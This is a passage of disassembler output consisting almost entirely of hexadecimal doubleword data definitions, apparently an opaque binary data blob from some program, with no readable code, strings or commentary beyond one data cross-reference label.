		dd 9C081017h, 48FF6046h, 3FC6FD16h, 80ABA320h, 386C4794h
		dd 0A801A55h, 31706810h, 749A2BA7h, 0AA0C3600h,	8F768221h
		dd 8E97008Ch, 4C4B77F0h, 0BA242667h, 38009C37h,	41E819BFh
		dd 79010054h, 64330351h, 82184707h, 0DADE8F7Eh,	0DB780088h
		dd 9B436FD1h, 2750E06Ah, 0B039DF6h, 5D8F96C1h, 40F9B8A7h
		dd 997E0035h, 3BCE21E4h, 4D1E0860h, 540AD4Ch, 4A7B2E53h
		dd 8C79E6h, 376A246Ch, 5B8F5EC5h, 8E7C2B3Ch, 69261819h
		dd 0AB3C8032h, 3D8F792h, 0F817A6C3h, 0D19985E3h, 0FE1DE0B2h
		dd 0F187CD00h, 18C8ACAh, 0BE191EF3h, 40B29FE6h,	0B710DFFDh
		dd 0B1008450h, 6D0B8AD6h, 180CACA3h, 0D20ABB05h, 5C00B936h
		dd 0C210264Ah, 0EE9CB8EFh, 44C60069h, 47BE7A07h, 900D5A8h
		dd 4192B158h, 26EAC524h, 0B99BA4h, 205DB836h, 7C072EBDh
		dd 6BD455FAh, 23273310h, 0D7DB00C6h, 0F54483C8h, 0CD006AE9h
		dd 0D50F3F03h, 0ED860D30h, 0E2A430h, 0A3F5193Dh, 56434BEh
		dd 0F9D9EA00h, 99300443h, 5BD098A6h, 72AFC33h, 85F7378Eh
		dd 9C2A45B0h, 0DC762404h, 3E638B5Ch, 0FEDCE38Eh, 19A34700h
		dd 90BABBC6h, 68091200h, 0E00A3BEFh, 56083833h,	300E1C4Ch
		dd 4B009CDCh, 2DCF0104h, 8252C909h, 0F2108066h,	0F4EF23h
		dd 7CBACA16h, 27FE90D5h, 9D7B4C03h, 98D8AD47h, 1E7EC620h
		dd 409B4B9Ah, 879E8375h, 7C006EE7h, 1804FB48h, 8179ABh
		dd 5D0FB303h, 6A88C246h, 54ED4507h, 0A0708DD3h,	39E059B0h
		dd 0C1000838h, 2CB7EB15h, 22009293h, 0BF4D132Dh, 0DA49DEh
		dd 73CA6639h, 5A9DED5Fh, 41BA39h, 7F06D845h, 0F390968h
		dd 0C9A13127h, 5BB65E21h
		dd 0E5C22084h, 0A085FF00h, 1D275C03h, 2EE97428h, 8014DD16h
		dd 0AEC8940Ah, 0AC006D59h, 9596318Eh, 704F48h, 8D36831Fh
		dd 73579F8Ch, 28ACB203h, 885B8081h, 2CA7B576h, 188F2Ch
		dd 1B07151h, 0B70B86F0h, 0A0369EEFh, 7E47B848h,	97FDEF61h
		dd 0B8F91BC0h, 0F8BA0184h, 0AC4E025Eh, 18109070h, 4A139E03h
		dd 2017C0E0h, 6440F65Bh, 14C5B233h, 3CE20057h, 7E49B8DEh
		dd 1004E63h, 6A3A1FC4h,	0A86BCB5h, 0F55B1C6Ch, 18E5171Ch
		dd 5E61F11Dh, 90D788CCh, 30595488h, 21FD2E4Dh, 0BF7F017Ch
		dd 71AADFEBh, 12355088h, 471EF5B5h, 27C0CC97h, 164BA34Fh
		dd 49FF3F7Bh, 0F46F3FF2h, 0EBA78680h, 81138CEDh, 0B8A6B600h
		dd 3635BC0Eh, 7E571612h, 5317000Ch, 40D3B50Bh, 307AD41Dh
		dd 0FBD25E1Fh, 0BFBE0B1Ch, 3B110F71h, 728D407Ch, 7D239Ch
		dd 8E4A6A53h, 0D09A394Bh, 26571300h, 5673D22Dh,	61B900E9h
		dd 47CD5876h, 71FC0CB3h, 6BBA8D00h, 544D0E68h, 79C4EA4Fh
		dd 7CFD0484h, 0A08BCD65h, 2B77E7D4h, 6C67B900h,	1A5F43E3h
		dd 0A89CABADh, 39D5ABh,	3AE52F01h, 1F64C1C0h, 0EACCAC05h
		dd 0AE805597h, 94495F3Bh, 0C1B712ECh, 0C0E49577h, 2E028A71h
		dd 0F55899FDh, 3954527Ch, 42B0CE0Bh, 672D5780h,	7CF63204h
		dd 90B03983h, 0D85E00B4h, 0EA6D9CA6h, 0C0C0684h, 48484DCEh
		dd 9BC500D9h, 0CC35A9A4h, 1A2AF170h, 63FE862h, 6C930194h
		dd 0E537BCF5h, 0F20825CFh, 8B1FC400h, 0F611709Bh, 401D8C3h
		dd 0A1CD5732h, 0D260AC61h, 9D6E4903h, 0A7E788FBh, 0D9BC0030h
		dd 350EF485h, 0EA608FF6h, 0A26B226h, 0A8B902CCh, 6469637Ah
		dd 25D6F460h, 0DD336E0Fh, 0FD0C608Ch, 3A2F73h, 463CDE94h
		dd 4132C9B6h, 0FFCC7E00h, 0B85855E6h, 7DA70062h, 3BD8478Fh
		dd 747D4C02h, 0CB9B8E28h, 887ECA00h, 8176DC14h,	802500B2h
		dd 6D231D8Fh, 386D5584h, 0B1030831h, 0BD100116h, 4F5C44FDh
		dd 4DACCC5Fh, 72CAD48h,	0B52010Ah, 0F102F0C0h, 894431BCh
		dd 11A94829h, 2C20708h,	0C22C543h, 21F4248Eh, 271212B9h
		dd 898CB410h, 84220820h, 51C49B22h, 0EC3128EFh,	11B52988h
		dd 0C0847F90h, 42B84890h, 73241E87h, 0D043BD40h, 811E242Ch
		dd 0D7EE0C6Eh, 25290Fh,	0EDBA0668h, 9DB20084h, 0A9D698EBh
		dd 0BF00A44Bh, 0E78BEEC0h, 6B5622h, 1EF3C1CCh, 8E87140Ch
		dd 21BA2000h, 42EB8D4h,	0C64D1E6Ah, 0F97D6A7h, 0A823D1B2h
		dd 7CC0C81Eh, 6407CCDDh, 0FB93F8E7h, 57797AA0h,	0E31C0014h
		dd 678B0BF5h, 6C005613h, 4DA8ABD4h, 0C4C76Eh, 3848EABFh
		dd 59B3F637h, 260FCDE0h, 80180EE0h, 0FA0C8B77h,	74190C22h
		dd 3658C916h, 0F43A2800h, 182AD4B3h, 3DB03888h,	8633900h
		dd 20418948h, 0FDBED800h, 0C04295B8h, 4EE3007Dh, 0EFA01AE1h
		dd 1E0E9F26h, 0E0362501h, 5D1354AEh, 26D2E638h,	125C7588h
		dd 9E2C5D40h, 980D8191h, 872AC197h, 0E94E360h, 790F1700h
		dd 6A41056Bh, 0C3C9156Fh, 598881A5h, 0A0000338h, 9974B666h
		dd 13E1A3Fh, 48936769h,	0E8C7D6E0h, 0DF46DCAh, 0C11E6092h
		dd 5000042Dh, 0D21DBC1Eh, 1207F42h, 0F9E79B61h,	308C7EC1h
		dd 0C7EC9FC9h, 4A62BA02h, 4055CC2Bh, 5DB133h, 0FFC4A349h
		dd 4F8816E7h, 0C032CB00h, 39952EEFh, 0DAD3D71h,	0F8314C01h
		dd 0DD2877A0h, 1D9AF8CDh, 0C446C70Fh, 0E6B84321h, 0F955C10Eh
		dd 11971180h, 0AD504BBFh, 3C7B3890h, 57A08700h,	7403E088h
		dd 1CD7005Dh, 0EAA434F7h, 0AF00BC68h, 3870A11Eh, 8AFFE2h
		dd 8817F156h, 45660C51h, 4E609E72h, 8F016040h, 163A01ACh
		dd 1DF9D256h, 91C0D329h, 5001CC39h, 0FDD6443h, 7AC88C75h
		dd 67EC2861h, 0ABF5009Ch, 580DCA4Fh, 0EF002A2Fh, 1CFF5132h
		dd 73DC3557h, 0F84A1FF7h, 9A1F94h, 689F8F24h, 96003AFEh
		dd 28911C30h, 0FC37FD66h, 6AC500DEh, 1177540Fh,	0F8BF6253h
		dd 0EADA0E6Eh, 4E809978h, 0B36A194Ch, 409E6905h, 79C3EEA3h
		dd 0FD28A8D2h, 0E7B70066h, 51C93CFCh, 0F512BF70h, 1C002C29h
		dd 5D0E570Ah, 0F87B016Ch, 619988DCh, 0EFBBC37Ah, 0E1655FD8h
		dd 807FFF38h, 17BC9DF5h, 1886BFE0h, 119BF397h, 0B000ADB8h
		dd 521628BDh, 0FDAF2Dh,	8CFB4689h, 6D3BC839h, 8C6F4Dh
		dd 117B3CAAh, 1FCBB12h,	0E03E292h, 0DCE95DF7h, 0C201DB7Ch
		dd 0C44C76B1h, 79E45448h, 80F00F2h, 94AF58A8h, 9E002EF7h
		dd 0E33DD320h, 7CE097Fh, 0CD9B2945h, 36605016h,	0FB38CA17h
		dd 4338F6Dh, 9F0032B0h,	9722DC34h, 7F5D003Dh, 0E689D931h
		dd 350B9CF4h, 80B1AA13h, 2B5C1563h, 0DE450038h,	9C086A7h
		dd 4A7FE43Eh, 4F17A800h, 127AD81Ah, 0E20E00C7h,	10C35BA7h
		dd 0BF0030F1h, 0D6BEEAE8h, 1DDEBA1Dh, 5CCF8FEh,	585753h
		dd 0FF444280h, 56007B0Bh, 34A6AE1Dh, 0EB0904h, 0B3642754h
		dd 7401C9F0h, 3BD61507h, 4E803892h, 0DE5543h, 0C237E728h
		dd 5358783Fh, 0ECDCF626h, 38D0A100h, 26A39C3h, 0C9F931CAh
		dd 506806A2h, 95005766h, 259ABAFFh, 21728DDh, 0A7086A93h
		dd 1562B553h, 0A0E70F5Dh, 0E76EFA1Fh, 0FC76DEh,	927AE1A7h
		dd 51CDE4B8h, 561BB900h, 4C4A6CEDh, 0A6DD0FF2h,	7CC442B6h
		dd 0CBCC807Ah, 140787B2h, 181E5CC5h, 6F26BF61h,	4F9E930h
		dd 9AEFB529h, 48F48583h, 0CD4089F0h, 0D00899h, 0CBA16F15h
		dd 344D61BBh, 4746C300h, 0CEC0A321h, 2F501E25h,	0A2544375h
		dd 93D8DD15h, 9C0001BBh, 0B5EAF9C7h, 0FDF5BCAh,	303FAD80h
		dd 37B90AA0h, 6709BBA4h, 8054C259h, 0CE183D70h,	98CA00EEh
		dd 0FFE815DAh, 9B0EC672h, 807A5173h, 5307CBA2h,	0E26EE819h
		dd 0CE250049h, 5D914ACAh, 9400F1EAh, 90F333FCh,	213773Bh
		dd 52FF1CFEh, 0DC60399Dh, 498881BEh, 497C7B19h,	0AE03DC8Ch
		dd 9A9F8225h, 5541113h,	6B4C4001h, 0C8412B8Ch, 19C8AEA8h
		dd 397E0093h, 108185DDh, 0FA1C532Eh, 0D7408946h, 0D2C5EF6h
		dd 4FB43F69h, 9013A8h, 8564262h, 35DD1E36h, 1C720A7Eh
		dd 3201397Dh, 26D88E5Ah, 0F6C44C5Fh, 359201E6h,	49F90F79h
		dd 618ECC9Eh, 0F20E5500h, 0D8C99180h, 84A100C6h, 0CB32B0EFh
		dd 8BF89865h, 4C8FA758h, 568048Eh, 0F4812F76h, 9C51CAB4h
		dd 10D1456Ah, 33F2DD0h,	0F0710F0Ah, 0EEA0AC11h,	0B600A16Eh
		dd 0E06C1E5Eh, 1993FFh,	6BD544B4h, 5D697F36h, 593B8600h
		dd 9F6FCD4Dh, 0B63500E6h
		db 0A4h, 0A6h
word_544F42	dw 92D6h		; DATA XREF: ___:off_4374C0o
		dd 6309C41Eh, 0A012D9B0h, 0EE31EA30h, 23CB021Bh, 903AFD70h
		dd 2D7EB0A0h, 4A00A135h, 7CD0BF1h, 0DF4160h, 0E6DC4769h
		dd 9B9CC8F7h, 0A3191C0Bh, 72DC1043h, 75E4007Ch,	51E23110h
		dd 0D200F0A5h, 9307747h, 0FBD494h, 7E988BAAh, 743A6DCBh
		dd 305048h, 2E465FD8h, 18761CDDh, 0F8F5027Fh, 9E78220Ah
		dd 706FF300h, 18758EECh, 6EEF26E0h, 0A39F000Bh,	2F040A1Eh
		dd 51C5FA00h, 6F489A96h, 43550383h, 0CCCFD013h,	7B11FCC8h
		dd 8040B438h, 980B1B32h, 0A5C419h, 9F42724Bh, 41CECA64h
		dd 1A38FD00h, 23758FEh,	7A0E3B53h, 54A49FBDh, 40A61DA4h
		dd 0DED0D114h, 0BDF89687h, 59FC2700h, 0FA3C7ED3h, 9BA30057h
		dd 0AF71F866h, 0F903F6D8h, 8D6FDEEEh, 88F0005Bh, 390F348Bh
		dd 2300D1D9h, 0C2297A8Eh, 0FBDA32h, 0DE7D9825h,	0CDD9F9FFh
		dd 9175C100h, 2E9EE072h, 82B400D8h, 0A2CF6B8Ah,	59005D2Bh
		dd 1EC67152h, 1D91585h,	0C2CC3E23h, 0E8218D9Ah,	0A407E57Fh
		dd 342EE14h, 643F7A40h,	237100ADh, 670C2120h, 0E607C0A6h
		dd 0E8173A4Ah, 3FC08E27h, 0C8F819h, 228A6998h, 40B0E02Fh
		dd 0E13E3698h, 0D2978191h, 0C059B8C9h, 0E8FD7060h, 0CB7ED3h
		dd 37F51029h, 1673650Dh, 0AA09F100h, 7517657h, 0E2C30E1Dh
		dd 9460D25Ch, 8727D8C4h, 0CD2BDF18h, 3D159719h,	0A9003FEDh
		dd 0E3ADB2BDh, 0A27D3052h, 6A2F4B00h, 62D09CA7h, 40F50E8Fh
		dd 0B3403D56h, 8E9108AFh, 8330BAA0h, 0D6C0750Eh, 221A4931h
		dd 0C868727Ch, 55229F4h, 136BF04Bh, 6F0083C6h, 0BE1AC4D8h
		dd 0ABF3E007h, 55D049B2h, 48C0DFA8h, 0B326EAC8h, 12FC3F28h
		dd 0C2F7ABA4h, 80669264h, 7D553E20h, 0FDCF00BCh, 0AE511B67h
		dd 0FF1FAC2Ch, 0DA66EA73h, 305A01Fh, 0A8005F89h, 9DB80599h
		dd 58BE03DBh, 3F5E1CBCh, 4E8F99Ah, 0C1037E95h, 6862E93Ah
		dd 558B6Ah, 94AEC6D0h, 72C0DE38h, 0DFFB9A03h, 0C0CF3591h
		dd 0FB75907Ch, 0F8B71C20h, 85F08Ah, 2673AD1Ch, 2A8D82F9h
		dd 0E5370D00h, 6207EACAh, 0AFB62C01h, 0A7940594h, 0EA6C449Eh
		dd 5B4A0045h, 331301h, 0ED4F9D7Dh, 0E76BBF09h, 86056098h
		dd 3444D0EBh, 2EEFD003h, 23B6808Ch, 980C00DBh, 0E5A53F9Eh
		dd 263BAC4Dh, 88860035h, 6FFC4B56h, 7AC31F5Fh, 0CE59C00Ch
		dd 0A75EB179h, 0B9B67105h, 0B380E96Ah, 0A36603h, 2E70EC0Ah
		dd 0C63EAF2h, 0AA7E2DFCh, 4B01367Fh, 9124F1B6h,	0E7C4DA77h
		dd 0EF5800D6h, 54B45037h, 0D8006DA1h, 0CBB763BEh, 17DB0BABh
		dd 1B666Fh, 1FC63EE7h, 6D0E5EEEh, 0C0A9C909h, 29118E87h
		dd 7B401FD6h, 0F18040C5h, 99E24F34h, 7E002FF0h,	22B5BE43h
		dd 7A688F3h, 93AC04F6h,	84C1A0FCh, 0A0593F80h, 0A8D907A8h
		dd 803E28E9h, 0BDF836A6h, 1277E8ACh, 2D9A90h, 7F2BC33Fh
		dd 0F7909B1Fh, 16A248h,	93B8A90Eh, 9DDD9FAh, 0DAD3CDF1h
		dd 3D521100h, 10C07194h, 3459C049h, 99FB00B9h, 0BD6A6E57h
		dd 0CA09CCEBh, 80D33D9Ah, 0DABAB402h, 20650218h, 933789BFh
		dd 0F138B680h, 3548969Ah, 311800FFh, 0F2145563h, 0E0AD0302h
		dd 0F1B42844h, 7B16D9C0h, 198DAC31h, 58802AAFh,	272D9285h
		dd 0D90072B6h, 8EDF8F74h, 73829E7Dh, 0A100B8D3h, 3987EF28h
		dd 0D0144F4Dh, 347F961Bh, 24CAD75Ch, 8F01B568h,	3F41DF93h
		dd 783660E0h, 0C6FE00F2h, 951EAACh, 9D3D3280h, 6D3180CFh
		dd 0E9AACD48h, 23470050h, 0A1C12BE1h, 26006A8Ch, 0E0EA6D80h
		dd 0B12E8Eh, 5F139A0Dh,	17F0BA7h, 4F062B00h, 16E3E80Eh
		dd 3CFED1h, 7CC14DA4h, 659CEF79h, 214A9602h, 0E1BDE883h
		dd 188077EAh, 26DFB891h, 0BB7B6FBAh, 7C3ECF0Eh,	1F84A054h
		dd 1F12EB6Dh, 5EDB1BD4h, 0D8FBC02Ch, 750D6815h,	0DC264800h
		dd 0CCE2A81Fh, 1C6400F4h, 8CB773E6h, 0CF24F1E3h, 3407C2EFh
		dd 0C5308E08h, 0C76440h, 654ABAAh, 8607B66Ah, 482E7D07h
		dd 110A4FBh, 438BF1h, 7264506Fh, 0BD161D13h, 296BFC00h
		dd 0D7BE96D9h, 62120045h, 0CC4B98A3h, 25024328h, 0AEC3EB11h
		dd 90C4E987h, 20A072FEh, 1B002F89h, 47CD2E7Eh, 35F5E46h
		dd 59B2861Eh, 0A081F29Eh, 0BD0460E3h, 0BB81801Fh, 88AAF9C0h
		dd 3E61F1h, 0D48D6736h,	0EC7471CCh, 77581F90h, 4DE300E8h
		dd 0F63763CAh, 789884h,	1C19397Ch, 20732DA8h, 48AB0600h
		dd 3E97104Eh, 64FE05CFh, 0C3EC5071h, 32C80E14h,	0EA1221D6h
		dd 19004058h, 55B6DAF4h, 0D55914F2h, 1703B5E8h,	9D79A876h
		dd 0FE0DC9A1h, 0FE28E4E0h, 0C28F610Fh, 2FE6A2B1h, 982CC32Eh
		dd 18740EDFh, 0D8E22881h, 0FA00F747h, 3943C55Dh, 3F0CA6CCh
		dd 7C806983h, 9F28F80h,	0CE049884h, 44919E86h, 91EF10F0h
		dd 54D807F8h, 0C4C405ADh, 3E28C137h, 2910048h, 0D09E03B5h
		dd 10EE41C8h, 6BE068DAh, 0F959A6A5h, 0BEBF1434h, 191300FEh
		dd 92BC30E0h, 42749EC2h, 0A3070201h, 842552F0h,	0D79303A1h
		dd 0BDB694F1h, 6ADBC0DFh, 8500CED9h, 5E143C07h,	0E7200390h
		dd 19BCAECh, 3B62BDF4h,	804F66DDh, 1BC36078h, 0F810F8C7h
		dd 0F226009Dh, 11097A52h, 30079F05h, 717957F5h,	142B80BEh
		dd 0F68859B9h, 5CE00F15h, 37A0B219h, 7FC512FAh,	6E58BA00h
		dd 313D8520h, 0DF19018Dh, 0D66273C2h, 368C4EBh,	0F0DE9400h
		dd 58CF841Eh, 358B804h,	4057A7B6h, 0A4D88A22h, 7007FF0h
		dd 0D2B26E23h, 0E6BC6BC8h, 0D52C008Bh, 0D6BFDA6Fh, 5A00ACEAh
		dd 0A2996DC3h, 1B2CB6Ch, 24487D21h, 0C8D29AE9h,	0FD7E1251h
		dd 34DD9D00h, 234278BFh, 0EC5F00A2h, 38CE63C5h,	94000FF7h
		dd 0D647BD9h, 0CC41B6BEh, 6DC21AC4h, 48C0DD05h,	0D40301C3h
		dd 0FBD46FCAh, 8072F310h, 3CD346B0h, 6C00111Dh,	0C8E9C60Ah
		dd 98002926h, 0B116723Ch, 0ED9B56h, 0FF835FE4h,	818FFDBAh
		dd 6D78A00h, 76DC940h, 5B6500D6h, 73D49CBBh, 8700C0C6h
		dd 4610AA19h, 6F2A15h, 0F41F2FECh, 0C656C2AFh, 28D91101h
		dd 4EB5AAE5h, 1EDAF7E0h, 1F15E22Eh, 96803ED6h, 0B4111E33h
		dd 0FC1FF19Ah, 8C03E89h, 77F41DA3h, 0BEEC00CCh,	1A720416h
		dd 2907991Bh, 7A7FB0E3h, 0DD6348C0h, 61E5077Ch,	8069DB43h
		dd 91D5D1E7h, 0C100AF78h, 3BD7CF08h, 174E55Dh, 0E32B7A0Eh
		dd 0F8420640h, 910C661Ah, 10098A85h, 0C96002AAh, 0CAB27EC1h
		dd 0D062BEC0h, 0FE6DC006h, 0E4E06ABCh, 0D5F83979h, 4075851Fh
		dd 45176FF9h, 8C00A2A4h, 54D33B69h, 0D1DF50h, 0AD3371F6h
		dd 39267704h, 6BBD3700h, 20101449h, 8D8E0092h, 67429302h
		dd 5801B098h, 0F4B1378Ch, 29F8234Bh, 40B30E63h,	0AC206084h
		dd 78E801A6h, 47676100h, 0FBC47DB7h, 5F0007Eh, 0B50F6F57h
		dd 3700AD3Ah, 155C74B3h, 3B9334h, 0A76314F2h, 0FBB05E3Ch
		dd 8243710Ch, 77D06Eh, 8EFAD72Ch, 8110B9FEh, 0EDD21D0Fh
		dd 12BF0025h, 0DD1A87h,	0AD1E0DECh, 0B9468ABEh,	5971DB00h
		dd 3DD5F1C4h, 70CA60B0h, 2655345Fh, 0C2D81750h,	9B30B370h
		dd 0F65B68E2h, 0B83CEAB8h, 26D802A8h, 9A64CF5Eh, 31E4D040h
		dd 6DF2FE0Fh, 97D0039h,	0E03CC51h, 0CB41E2A7h, 606032A7h
		dd 8B273CE4h, 2E061700h, 9D2DCDF3h, 7AA23F16h, 0BCD2CE8Bh
		dd 62C45780h, 0A40082CBh, 349F568Ch, 0EC57C830h, 0EB48309Dh
		dd 33AF5190h, 13F390A0h, 0E5B0734Eh, 123A7896h,	755710Dh
		dd 0C0B21D6Bh, 0B74540FEh, 5E280700h, 3C4FF114h, 330E00BEh
		dd 73841F5Dh, 6748ED2Bh
		dd 38511E94h, 0ABAC6C80h, 46AD80Fh, 34146E6h, 2F608777h
		dd 63EF18B8h, 0D4BFCF00h, 5B780D14h, 0FE9E1497h, 3600A681h
		dd 0F36FF8C9h, 1605C879h, 27394907h, 64249C00h,	3F84E6F7h
		dd 9680253Bh, 238CB450h, 0E1C0D8FAh, 42C43FE1h,	0E4431E0Bh
		dd 0C328C3E2h, 0DEC00A45h, 251FE5E0h, 88C00DBAh, 67B5D16Dh
		dd 8E781237h, 6E384783h, 928D673Eh, 0CB63A2F3h,	4781E109h
		dd 7D0480CFh, 1DD85182h, 80346FFBh, 0EE7BB440h,	41318A7Ah
		dd 8CBEFCCCh, 0C1CC17F5h, 0D8DF6007h, 426EFB6Bh, 0ECA49F0Fh
		dd 0DA7A066h, 3962D99h,	88821578h, 6CB858F7h, 39000756h
		dd 4D5EB61Eh, 0E6FE1Fh,	2953841h, 801AEFD2h, 0A26E4400h
		dd 57F3CFF7h, 595416B8h, 0C0851ECCh, 807863A6h,	0E200B44Dh
		dd 4C91CE64h, 0E49A582h, 59CA6029h, 0D0099587h,	0D5ADAFE9h
		dd 89544B00h, 557EB2B6h, 0C30B3AFDh, 6F92B01h, 0D032220Ah
		dd 5200B66Fh, 0D13EF795h, 39BB090Dh, 10804F5Eh,	0B1AE9947h
		dd 5F0073CDh, 0B394B87Ch, 0A93A09h, 0A6F582D7h,	3C89E734h
		dd 0B5DDF04h, 80EE742Eh, 0A40C66DEh, 0EF033800h, 0AFE6C76Bh
		dd 0EE8F00D7h, 0CE24A986h, 5B003015h, 0A08B8E6Ah, 161A788h
		dd 0E4256CB6h, 80D844E5h, 74AF8448h, 0BEDE0h, 3F53F6C4h
		dd 451266A6h, 0E8206900h, 1770BA23h, 0C4F4009Dh, 0C7528692h
		dd 48009435h, 0AACA7BFFh, 60875B24h, 61B3702Fh,	0EB001364h
		dd 0CC14FFBh, 0A38B74h,	97AF877Eh, 0A08870DDh, 0D5006878h
		dd 34FAE71Dh, 7F1E2150h, 0A8A6021Ch, 4B737118h,	0E2C88040h
		dd 49D65C00h, 0FB7E5B67h, 5EDA036Ah, 0FF7145A3h, 0F2C08CEBh
		dd 0A89846ABh, 0AA56EB00h, 21442FB8h, 0D37BB9h,	0BE630850h
		dd 3AA2689Fh, 3600D098h, 6074C981h, 276F7Dh, 84C43F1h
		dd 0B223A4F2h, 0F43F4824h, 6B0CF800h, 2672F31h,	5587D19Bh
		dd 58606C0Eh, 5A00A103h, 3D731B66h, 91FD8Dh, 72A26A45h
		dd 4ED33F23h, 9A0058F2h, 0A7228131h, 0FF6D62h, 157785CDh
		dd 2E8399B2h, 0F3791101h, 12427150h, 74A68C30h,	0E82900B6h
		dd 0BD4FBB17h, 3E00D9F6h, 8F4D99C6h, 0C0ABE0C7h, 9818DCF0h
		dd 491FFE74h, 65C2A720h, 40D84275h, 75B0A50Ch, 113C604Ah
		dd 0D9511D9Ch, 164F4D00h, 0C415DF39h, 533A0065h, 0D2D7B434h
		dd 454DD468h, 3F6D1FC8h, 4EF47F07h, 0B310E1E7h,	178A8ADh
		dd 0F28A5D35h, 0C4E4DA37h, 297A05B9h, 10875700h, 3D9D286Ch
		dd 0AC1C3FCFh, 65E08100h, 79FD5091h, 0F73BBC00h, 98D2BE74h
		dd 52E8E7h, 4A45FC68h, 0A4476020h, 420096EEh, 396AAE62h
		dd 9BB5AFh, 0D198F890h,	445BACB3h, 849AA00Fh, 1AA2A031h
		dd 0B32B6C2h, 0D6060188h, 0F5C96700h, 0B1FE967h, 0C39FA373h
		dd 2C95F940h, 239CD86h,	0C67AD68Dh, 8040B731h, 0D21EBA11h
		dd 19C00F1Ah, 1EAC07Eh,	305500CEh, 0A9254DF9h, 8F7D5080h
		dd 247F327Ah, 8813B400h, 66F6E01Dh, 701E0ED3h, 0EBA5D623h
		dd 0F408C05Ah, 0CE7D4C37h, 0AE6C2416h, 0C94B1403h, 0AC66C01Dh
		dd 424500E8h, 524195D0h, 941634B0h, 3042F73Ch, 609B2C1Fh
		dd 637C0CDAh, 3FA5B1D8h, 0AE3912D8h, 0A95D6100h, 888A3B63h
		dd 3C4B4C81h, 44B4CD18h, 8E74A347h, 9BB11000h, 6243CBEh
		dd 948B0FC7h, 3D616241h, 0E4C6BCE1h, 7E021D9h, 0CC13327Bh
		dd 0C4001D11h, 0C1BE3531h, 3811C21Ch, 1360BA30h, 3700C5CBh
		dd 7ED26AB2h, 0E07DC2h,	0E5E69660h, 8C863F6Fh, 635E8D02h
		dd 8037A7ADh, 535104CFh, 48F41E21h, 296DC069h, 0A0C3868Ch
		dd 0AB509D00h, 8B9CFD31h, 0C2690040h, 46EC5E4Dh, 21F0D7B7h
		dd 0F218513Eh, 4393AA00h, 0B2843766h, 48622AE0h, 712F73B8h
		dd 0DB6100C9h, 0C481A5A7h, 48009CCEh, 7EADA468h, 0A885C7BDh
		dd 7363BB9Ch, 559103CBh, 68BCAEDCh, 5F8FC5F8h, 0C101ABFAh
		dd 4FF385FEh, 602816B1h, 96C05B07h, 58704C33h, 81C8E63Eh
		dd 0C4C6376Bh, 18838431h, 0B98E27B8h, 2AEBF9A0h, 0B0313461h
		dd 49BA6EF1h, 7F540EF0h, 9D8008F3h, 44DFB33Eh, 4E92BC00h
		dd 60FC127Ah, 6BC50005h, 10F3571Bh, 6E74DA54h, 0EB80340Dh
		dd 38105848h, 60537466h, 0F38850F5h, 1850B151h,	3100ED5Ch
		dd 0F96D634h, 0E89EDE8Ch, 2EDC138Eh, 45E040F0h,	576225D4h
		dd 0B8A36F01h, 6D5547A4h, 0FFB8130h, 524CE685h,	2AE8AD20h
		dd 0AB00A4BCh, 0B50B366Bh, 1B973Eh, 6E91205Dh, 0BD823F24h
		dd 0B46C7A00h, 0F8691D23h, 725100B5h, 2695FD9Fh, 34FE48BEh
		dd 0B9080300h, 28E9D33Eh, 7F37787h, 69F794CBh, 0ED82401Fh
		dd 0F0A84E18h, 1B1F537Ch, 9D405F80h, 88E21345h,	668C001Ch
		dd 0BBC8BAF0h, 55004005h, 542469F3h, 0A199ED7Ah, 4F0844DCh
		dd 0B62D7D00h, 0EF8E67B8h, 89766B0h, 7500214Bh,	997F2D85h
		dd 0C2E7125h, 0C2E215B3h, 140CB60h, 4048FA31h, 7260BF3Ah
		dd 0F0162738h, 4B52152Dh, 747CBC70h, 608B7AC2h,	880C11EBh
		dd 6506C31Ah, 6D6E3773h, 0DC64E109h, 1A7F06ACh,	9135454Ah
		dd 1CDEE600h, 1FDDE98Dh, 60416349h, 21013844h, 99EA838Bh
		dd 7AF4E9FAh, 984D5418h, 0E0AC1C30h, 519D4052h,	88602263h
		dd 9E9E1124h, 23C82E03h, 0D4D01209h, 6D770CECh,	8FB78AB9h
		dd 53E0208Ah, 0CDB0EB57h, 0DCC98508h, 4300F2BEh, 10BDB524h
		dd 142504DDh, 0B85AF575h, 0F8816905h, 0BA90002Bh, 460561Bh
		dd 37A61107h, 6623D4AEh, 0ACD9D0DDh, 0FE6A013Ch, 0FB3D8515h
		dd 0D6D5C8B5h, 0EA9FF800h, 72390ACDh, 8F83002Ch, 1DAA47A5h
		dd 5D13BFF6h, 14035195h, 807394E1h, 1D8BF428h, 0A624F8A6h
		dd 2B7B00A9h, 74951B7Eh, 91005F77h, 2472C111h, 0E72359h
		dd 7AF9527Fh, 4A863135h, 0A73EF00h, 0D9AD8B87h,	58AB0F18h
		dd 4680BE78h, 2E2006BFh, 1F0F4C7Eh, 0C359D35Ch,	9BE53FECh
		dd 5B23B0B2h, 0CCF44Bh,	902B68F2h, 0F14CD1A6h, 34C9EE19h
		dd 21805D08h, 0EC90228Fh, 0DB78DF9Ah, 9700487Ch, 0FD2A624Dh
		dd 8E6E10h, 0C512923Bh,	1058AEEh, 7A7C5A01h, 51AAD267h
		dd 1E84AE4h, 78557258h,	91DC813Dh, 2D802189h, 5CD1A890h
		dd 8877F043h, 9004248Dh, 0D4E1A89Eh, 2F370052h,	0E6C5393Fh
		dd 732DDF00h, 7093AF3Ch, 68976361h, 406456A8h, 30601C70h
		dd 0D168AB90h, 63913868h, 90278800h, 491E9C76h,	75E93E03h
		dd 575C77h, 7E687A21h, 4F5812CFh, 4B25CB00h, 0E77D943h
		dd 0CD2D03ECh, 4EE2EEB9h, 5E48311Dh, 77309C06h,	2A980E11h
		dd 4100A632h, 10F94D0Fh, 216C08CDh, 0ADC823F9h,	0B12103A1h
		dd 2C57EED4h, 0D8598990h, 0D2685803h, 8EDDFD45h, 9F60C868h
		dd 0A53229C1h, 0B0E39C1h, 80322235h, 4B1FBA5Eh,	3899F8EBh
		dd 5F8ACBA0h, 21D49D01h, 1862D19Ch, 30D4000Ah, 337FB656h
		dd 4701F337h, 590495E5h, 0D8EB5772h, 0E09AF9C4h, 821B0056h
		dd 0D2B38709h, 0EA3A78CFh, 3C6B0092h, 31936C6Fh, 445A0079h
		dd 17D94B0Bh, 38076541h, 0CCE266ADh, 8319E7B0h,	9FE900B3h
		dd 0C94A5BF1h, 9B2CCEA7h, 4B001B38h, 3C667C3Dh,	47330763h
		dd 0E0279117h, 0C4520D6Ah, 0E464180Fh, 7B110054h, 2458C88Fh
		dd 0FD0BFDh, 4A3D33A2h,	0B200165Ch, 0D7CDBFFFh,	20C605h
